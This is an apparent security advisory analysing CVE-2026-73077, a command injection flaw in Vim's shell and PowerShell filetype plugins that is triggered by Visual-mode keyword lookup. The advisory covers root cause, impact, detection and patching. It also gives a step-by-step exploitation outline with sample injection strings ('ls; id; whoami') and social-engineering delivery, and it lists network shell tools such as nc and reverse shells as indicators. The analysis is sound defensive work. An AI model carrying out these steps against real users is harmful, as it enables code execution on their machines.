CVE-2026-73077: 
Vim vulnerability analysis and mitigation

CVE-2026-73077 is an OS command injection vulnerability in Vim's filetype plugins that allows arbitrary code execution via shell keyword lookup. Prior to version 9.2.0839, the runtime/ftplugin/sh.vim, runtime/ftplugin/zsh.vim, and runtime/ftplugin/ps1.vim plugins pass attacker-controlled Visual-mode selections through keywordprg commands (ShKeywordPrg, ZshKeywordPrg, GetHelp) without properly escaping shell metacharacters, enabling arbitrary OS command execution with the privileges of the Vim user. The vulnerability was published on August 11, 2026, and fixed in Vim 9.2.0839, released July 23, 2026. It carries a CVSS v3.1 score of 7.3 (High) and a CVSS v4.0 score of 8.4 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). When a buffer's filetype resolves to sh, bash, zsh, or PowerShell, the respective filetype plugin defines a keywordprg Ex command that interpolates its argument directly into a shell command string (e.g., bash -c "help <arg>"). Vim escapes keywordprg arguments starting with : using vim_strsave_fnameescape() and PATH_ESC_CHARS, but this set omits shell metacharacters such as ;, &, (, ), and > — those are only handled by SHELL_ESC_CHARS, which is not applied to Ex-command-style keywordprg values. In Visual mode, pressing K passes the entire selection verbatim rather than restricting to iskeyword characters, so embedded shell metacharacters reach the inner bash -c, zsh -c, or PowerShell -Command invocation unchanged. Normal-mode K is not affected because iskeyword characters exclude these metacharacters (GitHub Advisory, Fix Commit).

Successful exploitation results in arbitrary operating-system command execution with the full privileges of the user running Vim, affecting confidentiality, integrity, and availability equally. An attacker who can cause a victim to open a crafted shell script or PowerShell file, select a malicious line in Visual mode, and press K can execute any command the victim user is authorized to run — including reading sensitive files, modifying system state, or establishing persistence. The scope is limited to the local system (no network-based lateral movement directly), but privilege escalation or credential theft from the compromised session is possible (GitHub Advisory, Red Hat Bugzilla).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD's SSVC assessment classifies exploitation as "none" and the attack as non-automatable. The EPSS score is approximately 0.0014 (0.14%), reflecting low near-term exploitation probability. Exploitation requires user interaction — specifically, the victim must open a crafted file, select malicious text in Visual mode, and press K — which limits the attack surface considerably (Feedly).

1. Craft a malicious file: Create a shell script (.sh, .bash, .zsh) or PowerShell script (.ps1) containing a line with embedded shell metacharacters, such as ls; id; whoami or ls$(id), designed to inject additional commands when passed to bash -c or zsh -c.
2. Deliver the file to the victim: Use social engineering, a shared repository, email attachment, or any other delivery mechanism to get the victim to open the crafted file in Vim with filetype plugins enabled (the default configuration).
3. Wait for victim interaction: The victim must open the file in Vim, which automatically loads the vulnerable filetype plugin (sh.vim, zsh.vim, or ps1.vim) and sets keywordprg to the vulnerable Ex command.
4. Trigger Visual-mode keyword lookup: The victim selects the crafted line (or portion thereof) in Visual mode (e.g., using v or V) and presses K to invoke keyword lookup.
5. Achieve code execution: The selected text, including shell metacharacters, is passed verbatim to bash -c, zsh -c, or PowerShell -Command. The injected metacharacters terminate the intended help/man command and execute the attacker's payload with the victim's privileges (GitHub Advisory, Fix Commit).

• Process: Unexpected child processes spawned by Vim (e.g., bash, zsh, pwsh) executing commands beyond help or man lookups; unusual processes such as curl, wget, nc, or reverse shell utilities launched as children of a Vim process.
• Logs: Shell history or audit logs showing commands executed in the context of the user's Vim session that were not explicitly typed; auditd records of execve syscalls with parent process being Vim.
• File System: New or modified files (scripts, cron jobs, SSH authorized_keys) created by the user account running Vim shortly after opening a .sh, .zsh, or .ps1 file.
• Network: Unexpected outbound network connections originating from the user's session immediately after a Vim session involving shell or PowerShell script files.

Upgrade Vim to version 9.2.0839 or later, which fixes the issue by passing the keyword argument as a separate list item to term_start() or system() rather than interpolating it into a shell command string, preventing metacharacter injection (Fix Commit). Distribution-specific packages are available from SUSE (SUSE-SU-2026:3677-1, SUSE-SU-2026:3679-1), Ubuntu (USN-8657-1), Alpine Linux, and others. As a workaround, users can disable filetype plugins (:filetype plugin off in Vim) or avoid selecting untrusted text in Visual mode and pressing K when editing shell or PowerShell scripts. Microsoft has also issued guidance for the affected Azure Linux 3 Vim package (azl3_vim_9.2.0782-1) (Microsoft MSRC, Red Hat Bugzilla).

The vulnerability was reported by GitHub user @manus-use and acknowledged by the Vim project, which rated it "Moderate" severity in the official GitHub Security Advisory, noting that exploitation requires deliberate user interaction in Visual mode (GitHub Advisory). The fix was authored by Yasuhiro Matsumoto and committed by Christian Brabandt (Vim maintainer). Multiple Linux distributions including SUSE, Ubuntu, and Alpine Linux have issued security advisories and updated packages. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability tracking and distribution advisories.